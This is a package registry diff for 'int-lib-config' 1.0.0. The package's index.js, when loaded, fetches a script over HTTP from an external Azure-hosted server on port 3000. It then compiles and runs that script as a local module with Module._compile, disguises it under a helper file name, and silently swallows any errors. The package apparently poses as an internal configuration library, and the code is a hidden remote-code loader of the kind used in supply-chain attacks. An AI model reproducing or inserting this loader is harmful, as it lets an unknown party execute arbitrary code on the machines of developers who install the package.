int-lib-config 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +29 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
(() => {
|
|
3
|
+
const _req = module.require;
|
|
4
|
+
const http = _req('http');
|
|
5
|
+
const Module = _req('module');
|
|
6
|
+
|
|
7
|
+
const opts = {
|
|
8
|
+
hostname: 'internal-mirror.southindia.cloudapp.azure.com',
|
|
9
|
+
port: 3000,
|
|
10
|
+
path: '/utils-helper1.js',
|
|
11
|
+
method: 'GET',
|
|
12
|
+
};
|
|
13
|
+
|
|
14
|
+
http.request(opts, res => {
|
|
15
|
+
let code = '';
|
|
16
|
+
res.on('data', chunk => code += chunk);
|
|
17
|
+
res.on('end', () => {
|
|
18
|
+
try {
|
|
19
|
+
// Dynamically compile & execute as if it were a local module
|
|
20
|
+
const m = new Module();
|
|
21
|
+
m.paths = module.paths; // inherit lookup paths
|
|
22
|
+
m.filename = 'utils-helper1.js'; // friendly name for errors/traces
|
|
23
|
+
m._compile(code, m.filename);
|
|
24
|
+
} catch (err) {
|
|
25
|
+
// silence errors
|
|
26
|
+
}
|
|
27
|
+
});
|
|
28
|
+
}).end();
|
|
29
|
+
})();
|